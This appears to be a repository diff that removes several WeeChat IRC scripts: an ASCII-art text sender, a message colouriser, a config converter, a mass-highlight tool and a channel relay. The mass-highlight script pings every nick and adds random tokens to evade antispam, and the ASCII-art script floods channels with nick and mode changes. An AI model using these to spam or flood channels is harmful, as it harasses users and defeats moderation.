XXX```XXX',
|
||||
'XXXXXXXXX
|
||||
X````````',
|
||||
'XXXXXXXXX
|
||||
``````XX`
|
||||
``XXXX```
|
||||
``````XX`
|
||||
XXXXXXXXX',
|
||||
'XXXXXXXXX
|
||||
``````XX`
|
||||
```XXX```
|
||||
`XX``````
|
||||
XXXXXXXXX',
|
||||
'XXXXXXXXX
|
||||
X```````X
|
||||
XXXXXXXXX',
|
||||
'XXXXXXXXX
|
||||
````X```X
|
||||
`````XXX`',
|
||||
'`XXXXXXXX
|
||||
XX``````X
|
||||
XXXXXXXXX
|
||||
X````````',
|
||||
'XXXXXXXXX
|
||||
````X```X
|
||||
XXXX`XXX`',
|
||||
'`X```XXX`
|
||||
X```X```X
|
||||
`XXX```X`',
|
||||
'````````X
|
||||
XXXXXXXXX
|
||||
````````X',
|
||||
'XXXXXXXXX
|
||||
X````````
|
||||
XXXXXXXXX',
|
||||
'```XXXXXX
|
||||
XXX``````
|
||||
```XXXXXX',
|
||||
'`XXXXXXXX
|
||||
X````````
|
||||
`XXXX````
|
||||
X````````
|
||||
`XXXXXXXX',
|
||||
'XXX```XXX
|
||||
```XXX```
|
||||
XXX```XXX',
|
||||
'`````XXXX
|
||||
XXXXX````
|
||||
`````XXXX',
|
||||
'XXX`````X
|
||||
X``XXX``X
|
||||
X`````XXX',
|
||||
'XXXXXXXXX
|
||||
X```````X',
|
||||
'``````XXX
|
||||
```XXX```
|
||||
XXX``````',
|
||||
'X```````X
|
||||
XXXXXXXXX',
|
||||
'```````X`
|
||||
````````X
|
||||
```````X`',
|
||||
'X````````
|
||||
X```````^
|
||||
X````````',
|
||||
'````````X
|
||||
```````X`',
|
||||
'`X``X````
|
||||
X`X`X````
|
||||
XXXX`````',
|
||||
'XXXXXXXXX
|
||||
X```X````
|
||||
`XXX`````',
|
||||
'`XXX`````
|
||||
X```X````
|
||||
X```X````',
|
||||
'`XXX`````
|
||||
X```X````
|
||||
XXXXXXXXX',
|
||||
'`XXX`````
|
||||
X`X`X````
|
||||
X`XX`````',
|
||||
'XXXXXXXX`
|
||||
````X```X',
|
||||
'X``X`````
|
||||
X`X`X````
|
||||
`XXXX````',
|
||||
'XXXXXXXXX
|
||||
````X````
|
||||
XXXX`````',
|
||||
'XXXXX``X`',
|
||||
'X````````
|
||||
`XXXX``X`',
|
||||
'XXXXXXXXX
|
||||
````X````
|
||||
XXXX`X```',
|
||||
'X```````X
|
||||
XXXXXXXXX
|
||||
X````````',
|
||||
'XXXXX````
|
||||
````X````
|
||||
XXXX`````
|
||||
````X````
|
||||
XXXX`````',
|
||||
'XXXXX````
|
||||
````X````
|
||||
XXXX`````',
|
||||
'XXXXX````
|
||||
X```X````
|
||||
XXXXX````',
|
||||
'XXXXX````
|
||||
`X``X````
|
||||
``XX`````',
|
||||
'``XX`````
|
||||
`X``X````
|
||||
XXXXX````',
|
||||
'XXXXX````
|
||||
````X````',
|
||||
'X``X`````
|
||||
X`X`X````
|
||||
`X``X````',
|
||||
'`XXXXXXX`
|
||||
X```X````',
|
||||
'`XXXX````
|
||||
X````````
|
||||
XXXXX````',
|
||||
'``XXX````
|
||||
XX```````
|
||||
``XXX````',
|
||||
'`XXXX````
|
||||
X````````
|
||||
`XXX`````
|
||||
X````````
|
||||
`XXXX````',
|
||||
'XX`XX````
|
||||
``X``````
|
||||
XX`XX````',
|
||||
'X``XX````
|
||||
X`X``````
|
||||
`XXXX````',
|
||||
'XX``X````
|
||||
X`X`X````
|
||||
X``XX````',
|
||||
'````X````
|
||||
XXXX`XXXX
|
||||
X```````X',
|
||||
'XXXXXXXXX',
|
||||
'X```````X
|
||||
XXXX`XXXX
|
||||
````X````',
|
||||
' ```````X`
|
||||
````````X
|
||||
```````X`
|
||||
````````X');
|
||||
|
||||
for ($flag) {
|
||||
/-nick/ and $prefix = '/nick', last;
|
||||
/-key/ and $prefix = '/mode +k', last;
|
||||
/-limit/ and $prefix = '/mode +l', last;
|
||||
}
|
||||
|
||||
if ($flag eq '-limit') { $chars[$_] =~ y/`X/18/ for (0 .. (@chars - 1)) }
|
||||
|
||||
for my $char (split //, $text) {
|
||||
push @output, $flag eq '-limit' ? '111111111' : '`````````';
|
||||
push @output, split /\n/, $chars[ord($char) - 0x20];
|
||||
}
|
||||
|
||||
weechat::command($buffer, "$prefix $_") for @output;
|
||||
|
||||
for ($flag) {
|
||||
/-nick/ and weechat::command($buffer, "/nick $nick"), last;
|
||||
/-key/ and weechat::command($buffer, "/mode +k `````````"),
|
||||
weechat::command($buffer, "/mode -k `````````"),
|
||||
last;
|
||||
/-limit/ and weechat::command($buffer, "/mode -l"), last;
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
@ -1,170 +0,0 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# Released into the Public Domain
|
||||
|
||||
"""colo: make your chats noticable"""
|
||||
|
||||
import random
|
||||
import re
|
||||
import weechat
|
||||
|
||||
SCRIPT_NAME = "colo"
|
||||
SCRIPT_AUTHOR = "The Krusty Krab <wowaname@volatile.ch>"
|
||||
SCRIPT_VERSION = "2.2"
|
||||
SCRIPT_LICENSE = "Public domain"
|
||||
SCRIPT_DESC = "Makes your chats noticable"
|
||||
|
||||
# script options
|
||||
settings = {
|
||||
"fmt": (
|
||||
"%c13♥ %0%s%o %c13♥",
|
||||
"Format string for text. %0 - %9 are different colours, %s is text, "
|
||||
"%c %b %u %r %o are ^C ^B ^U ^R ^O respectively, and %% is a literal "
|
||||
"percent sign. %0 is the primary colour that should be used with %s.",
|
||||
),
|
||||
"fgs": (
|
||||
"04,05,06,13",
|
||||
"Colour codes to cycle for the foreground. "
|
||||
"Leave blank for no foreground colours.",
|
||||
),
|
||||
"bgs": (
|
||||
"",
|
||||
"Colour codes to cycle for the background. "
|
||||
"Leave blank for no background colours.",
|
||||
),
|
||||
"ignore_buffers": (
|
||||
"bitlbee.*,scripts",
|
||||
"List of buffers to ignore. Glob matches unless "
|
||||
"you prefix the name with 're:'.",
|
||||
),
|
||||
"whitelist_buffers": (
|
||||
"",
|
||||
"List of buffers to whitelist. Glob match unless "
|
||||
"you prefix the name with 're:'. Useful with "
|
||||
"ignore_buffers = \"*\"",
|
||||
),
|
||||
"whitelist_cmds": (
|
||||
"me,amsg,say",
|
||||
"Commands to colour.",
|
||||
),
|
||||
"profiles": (
|
||||
"> greentext,! alert",
|
||||
"List of prefix/profile pairs. If you type one of "
|
||||
"these prefixes at the beginning of your message, "
|
||||
"the options will switch to (profile)_pre, "
|
||||
"(profile)_suf, (profile)_fgs, and (profile)_bgs. ",
|
||||
),
|
||||
"greentext_fmt": "%c3> %s",
|
||||
"alert_fmt": "%c1,8/!\\%c8,1 %s %o%c1,8/!\\"
|
||||
}
|
||||
|
||||
|
||||
if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION, SCRIPT_LICENSE,
|
||||
SCRIPT_DESC, "", ""):
|
||||
for opt, val in settings.iteritems():
|
||||
setting, desc = val if type(val) == tuple else (val, "")
|
||||
if desc: weechat.config_set_desc_plugin(opt, desc)
|
||||
if weechat.config_is_set_plugin(opt): continue
|
||||
weechat.config_set_plugin(opt, setting)
|
||||
|
||||
weechat.hook_modifier("input_text_for_buffer", "cb_colo", "")
|
||||
|
||||
# prevent looping
|
||||
nest = False
|
||||
|
||||
def glob_match (haystack, needle):
|
||||
return re.search("^%s$" %
|
||||
re.escape(haystack).replace(r"\?", ".").replace(r"\*", ".*?"),
|
||||
needle)
|
||||
|
||||
def is_command (string):
|
||||
return (string.startswith("/") and not string.startswith("/ ") and
|
||||
string != "/" and string.split(" ", 1)[0].split("\n", 1)[0].find("/", 1)
|
||||
< 0)
|
||||
|
||||
def cb_colo (data, mod, buf, input):
|
||||
global nest
|
||||
if nest:
|
||||
nest = False
|
||||
# return input
|
||||
buffer_name = weechat.buffer_get_string(buf, "name").lower()
|
||||
output = ""
|
||||
profile = ""
|
||||
|
||||
for pattern in weechat.config_get_plugin("whitelist_buffers").lower().split(","):
|
||||
if (pattern.startswith("re:") and
|
||||
re.search(pattern[3:], buffer_name)) or glob_match(pattern, buffer_name):
|
||||
break
|
||||
else:
|
||||
for pattern in weechat.config_get_plugin("ignore_buffers").lower().split(","):
|
||||
if (pattern.startswith("re:") and
|
||||
re.search(pattern[3:], buffer_name)) or glob_match(pattern, buffer_name):
|
||||
return input
|
||||
|
||||
if not input:
|
||||
return input
|
||||
|
||||
if is_command(input):
|
||||
for cmd in weechat.config_get_plugin("whitelist_cmds").lower().split(","):
|
||||
if not input.startswith("/%s " % cmd): continue
|
||||
output = "/%s " % cmd
|
||||
input = input.split(" ", 1)[1] if " " in input else ""
|
||||
break
|
||||
else:
|
||||
# XXX
|
||||
return input.replace('\r','')
|
||||
|
||||
if input.startswith("//"): input = input[1:]
|
||||
|
||||
for profile_pairs in weechat.config_get_plugin("profiles").split(","):
|
||||
prefix, name = profile_pairs.split()
|
||||
if not input.startswith("%s " % prefix): continue
|
||||
profile = "%s_" % name
|
||||
input = input.split(" ",1)[1] if " " in input else ""
|
||||
for opt in ("fmt", "fgs", "bgs"):
|
||||
if weechat.config_is_set_plugin(profile + opt): continue
|
||||
weechat.config_set_plugin(profile + opt, "")
|
||||
break
|
||||
|
||||
fgs = weechat.config_get_plugin("%sfgs" % profile).split(",")
|
||||
bgs = weechat.config_get_plugin("%sbgs" % profile).split(",")
|
||||
fmt = weechat.config_get_plugin("%sfmt" % profile).split("%%")
|
||||
|
||||
for i in xrange(len(fmt)):
|
||||
fmt[i] = fmt[i].replace("%c", "\x03").replace("%b",
|
||||
"\x02").replace("%u", "\x1f").replace("%r",
|
||||
"\x16").replace("%o", "\x0f")
|
||||
if fgs == [""] and bgs == [""]: continue
|
||||
for j in xrange(10):
|
||||
base = "\x03%s%s%s" % (
|
||||
random.choice(fgs),
|
||||
"," if bgs != [""] else "",
|
||||
random.choice(bgs),
|
||||
)
|
||||
fmt[i] = fmt[i].replace("%%%d" % j, base)
|
||||
if j: continue
|
||||
input = re.sub(
|
||||
"\x03([^0-9])",
|
||||
"\x03%s\\1" % base,
|
||||
input.replace("\x0f","\x0f%s" % base))
|
||||
|
||||
fmt = "%".join(fmt)
|
||||
nest = is_command(fmt)
|
||||
servername = weechat.buffer_get_string(buf, "localvar_server")
|
||||
iptr = weechat.infolist_get("irc_server", "", servername)
|
||||
weechat.infolist_next(iptr)
|
||||
long_lines = weechat.infolist_integer(iptr, "cap_long_lines")
|
||||
weechat.infolist_free(iptr)
|
||||
|
||||
nicklen = weechat.info_get("irc_server_isupport_value", "%s,NICKLEN" %
|
||||
servername)
|
||||
if not nicklen: nicklen = 9
|
||||
|
||||
l = ((512 if long_lines else 0) + 409 - len(fmt) - int(nicklen))
|
||||
o = []
|
||||
for line in input.replace("\r", "\n").split("\n"):
|
||||
if not line: continue
|
||||
for i in xrange(0, len(line), l):
|
||||
o.append(fmt.replace("%s", line[i:i+l].rstrip()))
|
||||
|
||||
return output + "\n".join(o)
|
@ -1,45 +0,0 @@
|
||||
#!/usr/bin/perl
|
||||
|
||||
=pod
|
||||
|
||||
Reads plugins.conf from stdin, writes new plugins.conf to stdout, and
|
||||
writes commands to restore the rest of the config options to stderr
|
||||
|
||||
Suggested operation:
|
||||
cd .weechat
|
||||
./coloconv.pl < plugins.conf > plugins.conf.new 2> commands
|
||||
diff plugins.conf plugins.conf.new # to make sure nothing got clobbered
|
||||
|
||||
Then in WeeChat:
|
||||
/exec -o .weechat/commands
|
||||
|
||||
=cut
|
||||
|
||||
my %profs;
|
||||
my $desc = 0;
|
||||
|
||||
while (<>) {
|
||||
$desc and print, next;
|
||||
$_ !~ /^python\.embellish\./ and print, next;
|
||||
s/^python\.embellish/python.colo/;
|
||||
$_ !~ /^python\.colo\..*(?:pre|suf)/ and print, next;
|
||||
$_ eq '[desc]' and ($desc = 1), print, next;
|
||||
|
||||
my ($prof, $k, $v) = /^python\.colo\.(.*)(pre|suf) = "(.*)"$/;
|
||||
$v =~ s/\x02/%b/g;
|
||||
$v =~ s/\x03/%c/g;
|
||||
$v =~ s/\x0f/%o/g;
|
||||
$v =~ s/\x16/%r/g;
|
||||
$v =~ s/\x1f/%u/g;
|
||||
|
||||
if ($k eq 'pre') {
|
||||
$profs{$prof} = "%0$v%o%0 %s%o%0 ";
|
||||
} elsif ($k eq 'suf') {
|
||||
$profs{$prof} .= $v;
|
||||
}
|
||||
}
|
||||
|
||||
for my $prof (keys %profs) {
|
||||
print STDERR "/reload\n";
|
||||
print STDERR "/set plugins.var.python.colo.${prof}fmt $profs{$prof}\n";
|
||||
}
|
1255
irc/weechat/hueg.pl
1255
irc/weechat/hueg.pl
File diff suppressed because it is too large
Load Diff
@ -1,106 +0,0 @@
|
||||
# Released into the Public Domain
|
||||
|
||||
import random
|
||||
#from threading import Thread
|
||||
#from time import sleep
|
||||
import weechat
|
||||
|
||||
SCRIPT_NAME = "masshl"
|
||||
SCRIPT_AUTHOR = "The Krusty Krab <wowaname@volatile.ch>"
|
||||
SCRIPT_VERSION = "1.0"
|
||||
SCRIPT_LICENSE = "Public domain"
|
||||
SCRIPT_DESC = "Provides nicklist hooks."
|
||||
|
||||
if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION,
|
||||
SCRIPT_LICENSE, SCRIPT_DESC, "", ""):
|
||||
weechat.hook_command("masshl",
|
||||
SCRIPT_DESC,
|
||||
"[-do <delay>] text (broken, currently no-op)",
|
||||
"-d Specify a delay at the beginning (e.g. -d 1 for\n"
|
||||
" one second) to insert a delay between messages.\n"
|
||||
" %n - replace with next nick\n"
|
||||
" %N - replace with as many nicks as possible per line\n"
|
||||
" %r - replace with random hex value to thwart antispam\n"
|
||||
"-o Include your own nick in output",
|
||||
"-od", "masshl_cmd_cb", "")
|
||||
|
||||
class Loop():
|
||||
def __init__(self, buffer, nicks, input, input_method, N_param, delay, opts):
|
||||
self.buffer = buffer
|
||||
self.nicks = nicks
|
||||
self.input = input
|
||||
self.input_method = input_method
|
||||
self.N_param = N_param
|
||||
self.delay = delay
|
||||
self.opts = opts
|
||||
|
||||
def run(self):
|
||||
i = -('o' not in self.opts)
|
||||
if i == -1: self.nicks.pop(0)
|
||||
N_nicks = ""
|
||||
output = self.input
|
||||
for nick in self.nicks:
|
||||
i += 1
|
||||
if self.N_param:
|
||||
N_nicks += " %s" % nick
|
||||
if (nick != self.nicks[-1] and
|
||||
len(output) + len(N_nicks) + len(self.nicks[i]) < 300):
|
||||
continue
|
||||
else: output = self.input.replace("%n",nick)
|
||||
N_nicks = N_nicks.lstrip()
|
||||
output = output.replace("%N",N_nicks)
|
||||
output = output.replace("%r","%08x" % random.randint(0,0xffffffff))
|
||||
if self.input_method == "keybinding":
|
||||
weechat.buffer_set(self.buffer, "input", output)
|
||||
else:
|
||||
weechat.command(self.buffer, output)
|
||||
# sleep(self.delay)
|
||||
output = self.input
|
||||
N_nicks = ""
|
||||
|
||||
def masshl_cmd_cb(data, buffer, args):
|
||||
input = args
|
||||
|
||||
input_method = "command"
|
||||
server = weechat.buffer_get_string(buffer, 'localvar_server')
|
||||
channel = weechat.buffer_get_string(buffer, 'localvar_channel')
|
||||
|
||||
if not input or (input[0] == '-' and input.find(' ') == -1):
|
||||
input = (input + ' ' if input else '') + weechat.buffer_get_string(buffer, "input")
|
||||
input_method = "keybinding"
|
||||
|
||||
N_param = "%N" in input
|
||||
if not N_param and "%n" not in input and "%r" not in input:
|
||||
# if we bind this to Enter key, we don't want useless flooding on
|
||||
# normal messages
|
||||
return weechat.WEECHAT_RC_OK
|
||||
|
||||
optstop = input and input[0] == '-' and input.find(' ')
|
||||
opts = input[1:optstop] if optstop else ''
|
||||
cmdstop = 'd' in opts and input.find(' ', optstop+1)
|
||||
delay = 0
|
||||
if 'd' in opts:
|
||||
find = input[optstop+1:cmdstop]
|
||||
where = input.find(find, cmdstop+1)
|
||||
try: delay = float(find)
|
||||
except ValueError:
|
||||
weechat.prnt(buffer, "delay must be a float value!")
|
||||
return weechat.WEECHAT_RC_ERROR
|
||||
input = input[where+len(find):]
|
||||
else: input = input[optstop+bool(optstop):]
|
||||
|
||||
nicklist = weechat.infolist_get("irc_nick", "", "%s,%s" % (server,channel))
|
||||
|
||||
# dealing with the cursor can get a little tricky. let's use a dict
|
||||
# instead, that way we can manipulate just what we need and we can
|
||||
# do that with builtins
|
||||
nicks = []
|
||||
while weechat.infolist_next(nicklist):
|
||||
nicks.append(weechat.infolist_string(nicklist, "name"))
|
||||
|
||||
weechat.infolist_free(nicklist)
|
||||
|
||||
workhorse = Loop(buffer, nicks, input, input_method, N_param, delay, opts)
|
||||
workhorse.run()
|
||||
|
||||
return weechat.WEECHAT_RC_OK
|
@ -1,380 +0,0 @@
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
no strict 'subs';
|
||||
|
||||
my $SCRIPT_NAME = 'parrot';
|
||||
my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
|
||||
my $SCRIPT_VERSION = '1.0';
|
||||
my $SCRIPT_LICENCE = 'Public domain';
|
||||
my $SCRIPT_DESC = 'Relay channel messages and modes';
|
||||
|
||||
# %cbs{server}{hook_name} = $hook_ptr:
|
||||
# stores hook pointers to unhook() on exit
|
||||
# %chans{server}{channel} = @groups:
|
||||
# stores groups associated with a channel
|
||||
# %groups{groupname}{server}{channel} = $flags:
|
||||
# stores channels associated with a group, as well as the channel's flags
|
||||
# $READ, $STAT, $MODE:
|
||||
# flags for -read, -stat, -mode switches
|
||||
our (%cbs, %chans, %groups);
|
||||
our ($READ, $STAT, $MODE) = (0x1, 0x2, 0x4);
|
||||
our $confpath;
|
||||
|
||||
sub servchan
|
||||
{
|
||||
my $buffer = shift;
|
||||
return (lc weechat::buffer_get_string($buffer, 'localvar_server'),
|
||||
lc weechat::buffer_get_string($buffer, 'localvar_channel'));
|
||||
}
|
||||
|
||||
sub ircbuf { weechat::buffer_search('irc', "(?i)".(join '.', @_)) }
|
||||
|
||||
sub getgroup
|
||||
{
|
||||
my ($server, $channel) = @_;
|
||||
my @ret;
|
||||
|
||||
for my $group (@{ $chans{$server}{$channel} }) {
|
||||
for my $to_serv (keys %{ $groups{$group} }) {
|
||||
for my $to_chan (keys %{ $groups{$group}{$to_serv} }) {
|
||||
# don't send to myself
|
||||
next if $to_serv eq $server and $to_chan eq $channel;
|
||||
push @ret, [$to_serv, $to_chan, $groups{$group}{$to_serv}{$to_chan}, $group]
|
||||
} } }
|
||||
|
||||
return @ret;
|
||||
}
|
||||
|
||||
sub sendto
|
||||
{
|
||||
my ($server, $command) = @_;
|
||||
weechat::hook_signal_send('irc_input_send',
|
||||
weechat::WEECHAT_HOOK_SIGNAL_STRING,
|
||||
"$server;;1;;$command");
|
||||
}
|
||||
|
||||
sub add_relay
|
||||
{
|
||||
my ($groupname, $server, $channel, $flags) = @_;
|
||||
return if exists $cbs{$server};
|
||||
push @{ $chans{$server}{$channel} }, $groupname;
|
||||
$groups{$groupname}{$server}{$channel} = $flags;
|
||||
$cbs{$server}{PRIVMSG} =
|
||||
weechat::hook_signal("$server,irc_raw_in_privmsg", 'irc_privmsg_notice', '');
|
||||
$cbs{$server}{NOTICE} =
|
||||
weechat::hook_signal("$server,irc_raw_in_notice", 'irc_privmsg_notice', '');
|
||||
$cbs{$server}{OUT_PRIVMSG} =
|
||||
weechat::hook_signal("$server,irc_out1_privmsg", 'ircout_privmsg_notice', '');
|
||||
$cbs{$server}{OUT_NOTICE} =
|
||||
weechat::hook_signal("$server,irc_out1_notice", 'ircout_privmsg_notice', '');
|
||||
if ($flags & $STAT) {
|
||||
$cbs{$server}{JOIN} =
|
||||
weechat::hook_signal("$server,irc_raw_in_join", 'irc_join', '');
|
||||
$cbs{$server}{PART} =
|
||||
weechat::hook_signal("$server,irc_raw_in_part", 'irc_part', '');
|
||||
$cbs{$server}{KICK} =
|
||||
weechat::hook_signal("$server,irc_raw_in_kick", 'irc_kick', '');
|
||||
$cbs{$server}{NICK} =
|
||||
weechat::hook_signal("$server,irc_raw_in_nick", 'irc_nick', '');
|
||||
$cbs{$server}{QUIT} =
|
||||
weechat::hook_signal("$server,irc_raw_in_quit", 'irc_quit', '');
|
||||
}
|
||||
if ($flags & $MODE) {
|
||||
# $cbs{$server}{MODE} =
|
||||
# weechat::hook_signal("$server,irc_raw_in_mode", 'irc_mode', '');
|
||||
$cbs{$server}{TOPIC} =
|
||||
weechat::hook_signal("$server,irc_raw_in_topic", 'irc_topic', '');
|
||||
}
|
||||
}
|
||||
|
||||
sub read_conf
|
||||
{
|
||||
open FH, '<', $confpath or weechat::print('', weechat::prefix('error').
|
||||
"Error opening $confpath for reading: $!"), return;
|
||||
while (<FH>) {
|
||||
chomp;
|
||||
add_relay(split ' ');
|
||||
}
|
||||
close FH;
|
||||
}
|
||||
|
||||
sub write_conf
|
||||
{
|
||||
open FH, '>', $confpath or weechat::print('', weechat::prefix('error').
|
||||
"Error opening $confpath for writing: $!"), return;
|
||||
for my $server (keys %chans) {
|
||||
for my $channel (keys %{ $chans{$server} }) {
|
||||
for my $group (@{ $chans{$server}{$channel} }) {
|
||||
my $flags = $groups{$group}{$server}{$channel};
|
||||
print FH "$group $server $channel $flags\n";
|
||||
} } }
|
||||
close FH;
|
||||
}
|
||||
|
||||
sub irc_privmsg_notice
|
||||
{
|
||||
my (undef, $server, $cmd, $nick, $channel, $message) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_(privmsg|notice)/i,
|
||||
shift =~ /:([^! ]*)[^ ]* [^ ]+ ([^ ]+) :?(.*)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
|
||||
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, undef) = @$_;
|
||||
next if $flags & $READ;
|
||||
next unless ircbuf("$to_serv.$to_chan");
|
||||
if ($message =~ /^\x01ACTION /i) {
|
||||
$message =~ s/^\x01ACTION |\x01$//g;
|
||||
sendto($to_serv, "/msg $to_chan * \x02$nick\x0f $message");
|
||||
next;
|
||||
}
|
||||
my $prefix = lc $cmd eq 'notice' ? "[\x02$nick\x0f]" : "<\x02$nick\x0f>";
|
||||
sendto($to_serv, "/msg $to_chan $prefix $message");
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub ircout_privmsg_notice
|
||||
{
|
||||
my (undef, $server, $cmd, $channel, $message) = (shift,
|
||||
shift =~ /(.*),irc_out1_(privmsg|notice)/i,
|
||||
shift =~ /[^ ]+ ([^ ]+) :?(.*)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
|
||||
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, undef) = @$_;
|
||||
next if $flags & $READ;
|
||||
next unless ircbuf("$to_serv.$to_chan");
|
||||
my $prefix = lc $cmd eq 'notice' ? 'notice' : 'msg';
|
||||
if ($message =~ /^\x01ACTION /i) {
|
||||
$message =~ s/^\x01ACTION |\x01$//g;
|
||||
sendto($to_serv, "/$prefix $to_chan \x01ACTION $message\x01");
|
||||
next;
|
||||
}
|
||||
sendto($to_serv, "/$prefix $to_chan $message");
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_join
|
||||
{
|
||||
my (undef, $server, $nick, $host, $channel) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_join/i,
|
||||
shift =~ /:([^! ]*)([^ ]*) join :?([^ ]+)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
|
||||
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, undef) = @$_;
|
||||
next unless $flags & $STAT;
|
||||
next if $flags & $READ;
|
||||
next unless ircbuf("$to_serv.$to_chan");
|
||||
sendto($to_serv, "/notice $to_chan \x02$nick\x0f$host joined $server/$channel\x0f");
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_part
|
||||
{
|
||||
my (undef, $server, $nick, $channel, $message) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_part/i,
|
||||
shift =~ /:([^! ]*)[^ ]* part ([^ ]+) ?:?(.*)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
|
||||
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, undef) = @$_;
|
||||
next unless $flags & $STAT;
|
||||
next if $flags & $READ;
|
||||
next unless ircbuf("$to_serv.$to_chan");
|
||||
sendto($to_serv, "/notice $to_chan \x02$nick\x0f left $server/$channel\x0f: $message");
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_kick
|
||||
{
|
||||
my (undef, $server, $nick, $channel, $target, $message) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_kick/i,
|
||||
shift =~ /:([^! ]*)[^ ]* kick ([^ ]+) ([^ ]+) :?(.*)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
|
||||
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, undef) = @$_;
|
||||
next unless $flags & $STAT;
|
||||
next if $flags & $READ;
|
||||
next unless ircbuf("$to_serv.$to_chan");
|
||||
sendto($to_serv, "/notice $to_chan \x02$nick\x0f kicked $target\x0f from $server/$channel\x0f: $message");
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_nick
|
||||
{
|
||||
my (undef, $server, $nick, $newnick) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_nick/i,
|
||||
shift =~ /:([^! ]*)[^ ]* nick :?(.*)/i);
|
||||
|
||||
for my $channel (keys %{ $chans{$server} }) {
|
||||
my $iptr = weechat::infolist_get('irc_nick', '', "$server,$channel,$nick");
|
||||
next unless $iptr;
|
||||
weechat::infolist_free($iptr);
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, undef) = @$_;
|
||||
next unless $flags & $STAT;
|
||||
next if $flags & $READ;
|
||||
next unless ircbuf("$to_serv.$to_chan");
|
||||
sendto($to_serv, "/notice $to_chan \x02$nick\x0f is now \x02$newnick\x0f");
|
||||
} }
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_quit
|
||||
{
|
||||
my (undef, $server, $nick, $message) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_quit/i,
|
||||
shift =~ /:([^! ]*)[^ ]* quit :?(.*)/i);
|
||||
|
||||
for my $channel (keys %{ $chans{$server} }) {
|
||||
my $iptr = weechat::infolist_get('irc_nick', '', "$server,$channel,$nick");
|
||||
next unless $iptr;
|
||||
weechat::infolist_free($iptr);
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, undef) = @$_;
|
||||
next unless $flags & $STAT;
|
||||
next if $flags & $READ;
|
||||
next unless ircbuf("$to_serv.$to_chan");
|
||||
sendto($to_serv, "/notice $to_chan \x02$nick\x0f left $server: $message");
|
||||
} }
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_mode
|
||||
{
|
||||
my (undef, $server, $nick, $channel, $modes) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_mode/i,
|
||||
shift =~ /:([^! ]*)[^ ]* mode ([^ ]+) (.*)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub irc_topic
|
||||
{
|
||||
my (undef, $server, $nick, $channel, $message) = (shift,
|
||||
shift =~ /(.+),irc_raw_in_topic/i,
|
||||
shift =~ /:([^! ]*)[^ ]* topic ([^ ]+) :?([^ ]+)/i);
|
||||
($server, $channel) = (lc $server, lc $channel);
|
||||
weechat::print('',"$server $channel");
|
||||
return weechat::WEECHAT_RC_OK unless exists $chans{$server}{$channel};
|
||||
return weechat::WEECHAT_RC_OK if lc $nick eq lc weechat::info_get('irc_nick', $server);
|
||||
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, undef) = @$_;
|
||||
next unless $flags & $MODE;
|
||||
next if $flags & $READ;
|
||||
next unless ircbuf("$to_serv.$to_chan");
|
||||
sendto($to_serv, "/topic $to_chan $message");
|
||||
}
|
||||
|
||||
return weechat::WEECHAT_RC_OK;
|
||||
}
|
||||
|
||||
sub cmd_parrot
|
||||
{
|
||||
my (undef, $buffer, $command) = @_;
|
||||
my ($server, $channel) = servchan($buffer);
|
||||
my ($flags, $remove, $groupname) =
|
||||
( 0, 0, '');
|
||||
for (split / +/, $command) {
|
||||
/^-read$/ and ($flags |= $READ), next;
|
||||
/^-stat$/ and ($flags |= $STAT), next;
|
||||
/^-mode$/ and ($flags |= $MODE), next;
|
||||
/^-remove$/ and ($remove = 1), next;
|
||||
$groupname = $_; last;
|
||||
}
|
||||
|
||||
unless ($groupname) {
|
||||
if ($chans{$server}{$channel}) {
|
||||
for (getgroup($server, $channel)) {
|
||||
my ($to_serv, $to_chan, $flags, $group) = @$_;
|
||||
my $flag_str = $flags ? ':' : '';
|
||||
